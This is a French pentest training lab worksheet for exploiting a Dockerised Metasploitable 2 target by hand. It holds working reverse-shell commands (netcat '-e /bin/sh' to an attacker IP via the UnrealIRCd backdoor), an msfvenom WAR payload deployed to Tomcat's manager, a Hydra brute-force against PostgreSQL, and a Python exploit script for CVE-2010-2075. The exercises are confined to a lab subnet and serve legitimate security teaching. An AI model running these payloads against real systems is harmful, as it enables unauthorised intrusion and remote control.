Recherche de vulnérabilités — Atelier pratique
Vous avez vu deux prises tomber sans Metasploit dans la démonstration. À vous d'en faire tomber une, puis d'en qualifier deux autres sans les exploiter (pour vous entraîner à écrire un tableau propre).
Compter : 2 h 30.
Livrable : ~/labs/rapport/vulnerabilites.md avec un tableau priorisé, et ~/labs/preuves/ avec les traces d'exploitation d'au moins une vulnérabilité.
Prérequis
Docker Desktop opérationnel, image inskillsec/kali-lab déjà construite (voir module 01). Vous avez terminé le module 04 (recon) : les scans de versions de Metasploitable 2 sont dans votre tête ou dans vos artefacts.
Le compose de M05 utilise la même image de cible que M04 — elle est déjà dans votre cache Docker, aucun téléchargement supplémentaire.
Étape 1 — Démarrer le lab (2 min)
cd labs/docker/module-05-vulnerabilites
docker compose up -d
Compter 30 s à 1 min pour que la cible finisse son services.sh. Vérifier :
cd ..
./verifier-lab.sh module-05-vulnerabilites # bash / macOS / Linux / WSL
.\verifier-lab.ps1 module-05-vulnerabilites # PowerShell
Entrer dans l'attaquant :
cd module-05-vulnerabilites
docker compose exec attaquant bash
mkdir -p ~/labs/{preuves,rapport,pocs}
cd ~/labs
# Mise à jour de searchsploit et Nuclei
sudo searchsploit -u
nuclei -update-templates -silent
Étape 2 — Choisir 3 vulnérabilités (10 min)
Ne prenez pas vsftpd ni Samba (déjà exploités en M01 et M08). Choisissez trois vulnérabilités différentes parmi :
- UnrealIRCd 3.2.8.1 — CVE-2010-2075. Backdoor délibérée dans le tarball 2009-2010.
- distccd — CVE-2004-2687. Absence d'authentification, exécution de code arbitraire.
- Tomcat 5.5 avec
tomcat:tomcat— déploiement d'une WAR malveillante. - Apache mod_userdir — énumération d'utilisateurs par
/~<nom>. - PostgreSQL 8.3 — authentification faible / dictionnaire.
- NFS mal configuré (port 2049) — export accessible sans authentification.
- X11 sur port 6000 — capture d'écran sans authentification.
Écrivez, dans rapport/vulnerabilites.md, votre choix des 3 et pourquoi. La justification est ce qui prouve que vous choisissez votre attaque, plutôt que de tomber au hasard sur ce qui traîne.
Définition — vulnérabilité, exploit, POC, CVE : les mots que tout le monde mélange
Ces quatre termes sont utilisés comme synonymes par erreur presque partout. Ils désignent des choses différentes.
Une vulnérabilité est une propriété d'un logiciel — une combinaison de code et de configuration qui rend un comportement néfaste possible. Elle existe indépendamment de tout attaquant. Un débordement de tampon dans une fonction jamais appelée reste une vulnérabilité, même si personne ne l'exploite jamais. Le vocabulaire courant : « le service est vulnérable à ceci ».
Un exploit est un artefact — un programme, un script, un payload — qui utilise concrètement cette vulnérabilité pour produire un impact. L'exploit dépend du contexte : un exploit qui marche sur Ubuntu 18.04 x86_64 peut échouer sur la même version en ARM. Un exploit intégré à Metasploit s'appelle un « module d'exploit ». Le vocabulaire courant : « il y a un exploit public pour cette vulnérabilité ».
Un POC (Proof of Concept) est un exploit minimal, souvent codé à la va-vite, dont l'unique but est de prouver que la vulnérabilité est réelle. Il ne cherche pas à être stable, ni à passer les EDR, ni à gérer les erreurs. Beaucoup de POC ne font que crasher le service — c'est déjà une preuve, même si ça n'ouvre pas de shell. Le vocabulaire : « il n'y a pas encore de POC public ».
Une CVE (Common Vulnerabilities and Exposures) est un identifiant. C'est une étiquette de catalogue qui pointe vers une vulnérabilité précise, décrite dans une base publique (NVD, MITRE). CVE-2011-2523 désigne la backdoor vsftpd 2.3.4, indépendamment de qui la trouve ou de comment on l'exploite. Le vocabulaire : « quelle CVE ? ».
Une même vulnérabilité peut avoir zéro POC, un POC bricolé, un module Metasploit stable, et pas encore de CVE (quand elle est fraîchement découverte). C'est un cycle : vulnérabilité découverte → CVE attribuée → POC publié → exploit stable intégré aux frameworks. À chaque étape, la fenêtre de risque grandit.
Étape 3 — Qualifier chacune (30 min par vulnérabilité)
Pour chacune, produisez cette fiche complète :
## Vulnérabilité #<n> — <titre court>
### Identité
- Produit et version : <ex. UnrealIRCd 3.2.8.1>
- CVE : <ex. CVE-2010-2075>
- Bulletin d'origine : <lien URL ou source>
- Références KEV : <oui/non>
### Scores
- CVSS Base : ...
- CVSS Environmental (recalculé) : ... — justification en une phrase.
- EPSS actuelle : ... (source : https://api.first.org/data/v1/epss?cve=<CVE>)
### POC / Exploit
- Trouvé sur : Exploit-DB #<numéro> / GitHub <url>
- Lu avant exécution : oui / non
- Adaptations nécessaires à la cible : ...
### Preuve d'existence
- Requête envoyée (curl / nc / script) : ...
- Réponse observée : ...
- Fichier de preuve : preuves/<vulnerabilite>-*.txt
### Impact business (si le client était réel)
- ... (une phrase par impact)
### Recommandation
- Mesure immédiate : ...
- Mesure de fond : ...
Ne bâclez aucune section. Le tableau final ne vaudra que si les fiches sont solides.
Définition — CVSS Base vs CVSS Environmental, pourquoi la note change avec le contexte
CVSS (Common Vulnerability Scoring System) est un score entre 0 et 10 qui essaie de quantifier la gravité d'une vulnérabilité. La version 3.1 (courante en 2026) découpe le score en trois groupes de métriques.
Le CVSS Base est calculé à partir des caractéristiques intrinsèques de la vulnérabilité, indépendamment du contexte : vecteur d'attaque (réseau, local, physique), complexité (basse, haute), privilèges requis, interaction utilisateur, portée, impact sur confidentialité/intégrité/disponibilité. C'est le score qu'on lit sur NVD. Il est fixe.
Le CVSS Temporal ajoute des métriques qui bougent dans le temps : maturité de l'exploit disponible (POC, fonctionnel, weaponized), niveau de remédiation officielle (patch, workaround), confiance dans les rapports. Ce score est presque toujours inférieur ou égal à la Base.
Le CVSS Environmental ajoute le contexte client : quelle importance a la confidentialité, l'intégrité, la disponibilité pour ce système ? Un serveur qui contient les hashes NTLM d'une DSI vaut plus qu'un serveur de test isolé. Recalculer le score Environmental sur chaque vulnérabilité, dans son propre contexte, est le geste qui sépare un rapport de scan brut d'un rapport de consultant.
Exemple : CVE-2010-2075 (UnrealIRCd) a une base à 10.0. Sur votre lab Metasploitable 2, l'Environmental à recalculer serait probablement 6-7 : la machine est isolée, la disponibilité n'importe pas, la confidentialité peu (rien de sensible dessus), l'intégrité pas non plus. À l'inverse, la même CVE sur un serveur IRC de communication interne d'une entreprise remonterait à 10.0 : l'attaquant qui prend le serveur peut lire toutes les conversations administrateurs.
Recalculer le score Environmental et justifier votre nouvelle note en une phrase est ce que le client vous paie pour faire. Sans cela, votre rapport n'est qu'une copie NVD.
Étape 4 — Exploiter à la main au moins une (60 min)
Choisissez la vulnérabilité la plus simple de vos trois. Exploitez-la sans Metasploit — on garde le framework pour le module 8. Voici trois exemples concrets, prêts à l'emploi.
Suggestion 1 — UnrealIRCd (Perl POC)
searchsploit "unrealircd 3.2.8.1"
searchsploit -m 13853 # ou l'ID trouvé
Lisez le script Perl avant tout autre geste. Il envoie une chaîne magique AB;<commande> qui déclenche l'exécution :
$socket->send("AB;system('nc -e /bin/sh 10.20.30.5 4444')\n");
Dans un premier terminal du conteneur attaquant :
nc -lvnp 4444
Dans un deuxième (docker compose exec attaquant bash depuis votre hôte) :
# Adapter le script pour utiliser 10.20.30.5 (pas 10.10.10.5)
sed -i 's/10\.10\.10\.5/10.20.30.5/g' 13853.pl
perl 13853.pl 10.20.30.20 6667
Vérifiez que le premier terminal reçoit la connexion, tapez id, sauvegardez la trace dans preuves/unreal-shell.log.
Suggestion 2 — Tomcat manager (WAR)
Vérifier d'abord la présence du manager :
curl -s -u tomcat:tomcat http://10.20.30.20:8180/manager/html | head -n 5
Réponse HTML ? Alors on peut déployer :
# 1. Générer une WAR reverse shell (msfvenom est indépendant de msfconsole)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.20.30.5 LPORT=4444 -f war -o pocs/shell.war
# 2. Déployer via l'API manager
curl -u tomcat:tomcat -T pocs/shell.war "http://10.20.30.20:8180/manager/deploy?path=/pwn"
# 3. Écouter (dans un autre terminal)
nc -lvnp 4444
# 4. Déclencher
curl http://10.20.30.20:8180/pwn/
Un shell tombe. Sauvez la trace dans preuves/tomcat-shell.log.
Suggestion 3 — PostgreSQL 8.3 avec Hydra
Un scénario différent : pas un exploit de code, mais un mot de passe faible.
# Créer un mini-dictionnaire ciblé
cat > pocs/pg-words.txt <<EOF
postgres
admin
password
password123
p@ssw0rd
EOF
# Hydra sur PostgreSQL
hydra -L pocs/pg-words.txt -P pocs/pg-words.txt -f -o preuves/pg-hydra.txt \
postgres://10.20.30.20:5432/template1
Vous devriez trouver postgres:postgres. Ensuite :
PGPASSWORD=postgres psql -h 10.20.30.20 -U postgres -d template1 -c "\l" > preuves/pg-dbs.txt
Vous listez toutes les bases. Preuve concrète d'impact.
Définition — pourquoi on exploite à la main avant de basculer Metasploit
Un module Metasploit ressemble à une baguette magique. On tape set RHOSTS x.x.x.x, run, et un shell tombe. C'est efficace, spectaculaire, et absolument fatal pour l'apprentissage : on ne comprend rien à ce qui s'est passé sous le capot.
Passer par un POC brut — un Perl script téléchargé sur Exploit-DB, un curl construit à la main, un script Python de 30 lignes — force à comprendre trois choses. Quel protocole est utilisé (IRC en clair pour UnrealIRCd, HTTP + Basic Auth pour Tomcat, PostgreSQL wire protocol pour Hydra). Quel payload est déposé (chaîne littérale AB;..., WAR JSP, tentatives d'auth). Quelle réponse confirme la réussite (shell qui répond à id, HTTP 200 au path déployé, ligne « [80][postgres] host: ... » pour Hydra).
Ce sont ces trois éléments — protocole, payload, réponse — qui vous font passer d'un opérateur d'outils à un praticien. Le jour où un exploit public tombe pour un CVE fraîchement publié et où Metasploit n'a pas encore de module, vous êtes le seul dans l'équipe capable d'adapter le POC. Vous devenez utile. Le jour où un client vous demande pourquoi votre POC marche, vous savez répondre. Vous devenez crédible.
Metasploit reste indispensable pour la vitesse en mission — vous n'écrirez pas un POC pour chacun des dix serveurs vulnérables. Mais le franchissement de la ligne « comprendre ce qui se passe sous le module » est ce qui distingue un pentester senior d'un opérateur.
Étape 5 — Scanner large avec Nuclei (20 min)
En parallèle des exploitations, lancez :
nuclei -u http://10.20.30.20 -tags cve,exposure,default-login -severity medium,high,critical \
-o preuves/nuclei-cible.txt
# Aussi sur Tomcat (port 8180)
nuclei -u http://10.20.30.20:8180 -tags cve,exposure,default-login \
-o preuves/nuclei-cible-8180.txt
# Et sur phpMyAdmin, souvent hébergé sur le port 80
nuclei -u http://10.20.30.20/phpMyAdmin -tags cve,exposure,default-login \
-o preuves/nuclei-phpmyadmin.txt
Notez les 5 trouvailles les plus intéressantes de nuclei dans votre rapport, avec une décision par ligne : exploitable / fuite d'info / faux positif.
Définition — Nuclei, la scannite maîtrisée
Nuclei est un scanner de vulnérabilités basé sur des templates YAML. Chaque template décrit comment tester une CVE ou une exposition précise : quelle requête envoyer, quelle réponse attendre. Le projet officiel maintient une bibliothèque de plusieurs milliers de templates couverts par la communauté.
Sur le papier, ça ressemble à un remplacement de Nessus. En pratique, c'est très différent. Nuclei ne fait rien en dehors des templates qu'on lui donne — pas d'inférence, pas de fingerprinting propriétaire. Ça le rend beaucoup plus prévisible et auditable : chaque détection peut être remontée à un template précis, lisible en trente secondes. Le prix : les templates couvrent surtout des vulnérabilités web récentes et des expositions de configuration, moins les vieilles CVE d'infrastructure.
Le piège classique de Nuclei sur une cible riche comme Metasploitable 2 est la surdétection de faux positifs. Beaucoup de templates cherchent une réponse spécifique dans une bannière ou une page d'erreur. Si le serveur renvoie une réponse générique pour tout, plusieurs templates matchent. La règle : filtrer par sévérité (-severity high,critical), passer chaque résultat retenu au vérificateur manuel, jeter tout ce qui n'est pas confirmable à la main.
L'avantage énorme : sur un audit récurrent, vous pouvez comparer les sorties Nuclei d'un mois sur l'autre. Une nouvelle trouvaille signale soit une régression, soit une nouvelle CVE couverte par les templates mis à jour. C'est particulièrement utile pour surveiller son propre parc.
Étape 6 — Nikto de contexte (15 min)
Lancez Nikto sur le port 80 :
nikto -h http://10.20.30.20 -Format txt -o preuves/nikto-cible.txt
Sélectionnez, dans la sortie Nikto, au maximum 5 lignes qui sont de vraies pistes (fichiers oubliés, panels administratifs). Le reste est du bruit — ne le retenez pas.
Étape 7 — Consolider le tableau priorisé (20 min)
Ouvrez rapport/vulnerabilites.md et ajoutez le tableau final. Structure identique à la démonstration :
# Tableau priorisé — Module 05
## Cible 10.20.30.20 (Metasploitable 2)
| ID | Service | CVE | Base | Env. | EPSS | KEV | Statut | Preuve |
| -- | --- | --- | --- | --- | --- | --- | --- | --- |
| P1a | UnrealIRCd 3.2.8.1 | CVE-2010-2075 | 10.0 | 6.5 | 0.94 | Oui | exploité | preuves/unreal-shell.log |
| P1b | Tomcat 5.5 manager | — (creds faibles) | 8.8 | 7.5 | — | Non | exploité | preuves/tomcat-shell.log |
| P2 | distccd | CVE-2004-2687 | 9.3 | 5.5 | 0.42 | Non | à faire | — |
| P3 | PostgreSQL creds | — | 7.5 | 5.0 | — | Non | qualifié | preuves/pg-hydra.txt |
| P4 | NFS export | — | 5.4 | 4.0 | — | Non | qualifié | preuves/nfs-check.txt |
| P5 | mod_userdir | — | 4.3 | 3.0 | — | Non | qualifié | preuves/userdir.txt |
Règles pour ce tableau :
- Au moins 6 lignes au total (les 3 fiches + les trouvailles Nuclei/Nikto).
- Au moins une en
exploitéavec preuve danspreuves/. - Aucune ligne sans
Statutclair. - CVSS Environmental différent de la Base au moins une fois (montre que vous contextualisez).
Grille d'auto-évaluation
- Trois vulnérabilités choisies (pas celles de la démo ni celles de M01/M08).
- Trois fiches complètes (identité, scores, POC, preuve, impact, reco).
- Au moins une vulnérabilité effectivement exploitée à la main, sans Metasploit.
- Trace complète de l'exploitation dans
preuves/. - Scan Nuclei complet sauvegardé, top-5 des trouvailles annotées.
- Scan Nikto complet, 5 trouvailles retenues (le reste jeté).
- Tableau priorisé final avec au moins 6 lignes et un CVSS Env recalculé.
- Aucun POC exécuté sans avoir été lu avant.
- Aucune action hors du sous-réseau
10.20.30.0/24.
Ce qui bloque en général
| Symptôme | Cause | Correction |
|---|---|---|
searchsploit ne trouve rien | Base pas à jour | sudo searchsploit -u. |
| POC Python 2 ne fonctionne pas | Syntaxe Python 2 vs 3 | 2to3 script.py -w. |
| Nuclei sort 500 lignes de bruit | Trop de tags | Filtrer -severity high,critical. |
| Un exploit lance une action douteuse | Backdoor dans le POC | Repartir d'un POC officiel (Rapid7, Metasploit). |
| Nikto rend beaucoup trop | Normal | Filtrer à la main, jeter 80 %. |
L'exploit UnrealIRCd rend not vulnerable | Version modifiée, ou service redémarré | docker compose restart cible. |
msfvenom très long | Java toolchain qui compile | Patienter — le premier msfvenom d'une session prend ~30 s. |
hydra : erreur d'authentification alors que le mot de passe est correct | Mauvais schéma d'URL | Utiliser postgres:// (pas postgresql://). |
Extension optionnelle — Écrire son propre POC minimal
Prenez la plus simple des trois vulnérabilités et réécrivez le POC en Python 3, sans copier-coller. 30 lignes, avec :
- Argument CLI (
argparse). - Vérification de la version cible (bannière).
- Envoi du payload.
- Retour clair (
SUCCESS/FAIL).
Squelette pour UnrealIRCd :
#!/usr/bin/env python3
import argparse, socket, sys
def check_banner(sock):
banner = sock.recv(2048).decode(errors="ignore")
return "Unreal" in banner
def exploit(ip, port, cmd):
with socket.create_connection((ip, port), timeout=5) as s:
if not check_banner(s):
print("[!] Cible sans bannière UnrealIRCd — abandon")
sys.exit(1)
payload = f"AB;{cmd}\n".encode()
s.sendall(payload)
print(f"[+] Payload envoye : {payload.decode().strip()}")
print("[i] Vérifier votre listener netcat.")
if __name__ == "__main__":
p = argparse.ArgumentParser()
p.add_argument("target"); p.add_argument("--port", type=int, default=6667)
p.add_argument("--cmd", default="id")
a = p.parse_args()
exploit(a.target, a.port, a.cmd)
Sauvez dans pocs/unreal_pwn.py, testez :
python3 pocs/unreal_pwn.py 10.20.30.20 --cmd "nc -e /bin/sh 10.20.30.5 4444"
C'est l'exercice le plus formateur du cours. Un pentester qui sait écrire un POC ne dépend plus des outils.
Ce que vous emportez de cet atelier
- L'instinct de qualifier une vulnérabilité avant de sauter dessus.
- L'habitude de lire un POC avant de l'exécuter.
- Une méthode pour transformer un tas de sorties de scanners en un tableau priorisé utilisable.
- L'assurance de pouvoir exploiter certaines vulnérabilités sans framework. C'est ce qui vous fera passer, un jour, un test technique en entretien.
- Un ou deux POC Python 3 personnels, réécrits à la main — la fierté d'un travail dont vous savez chaque ligne.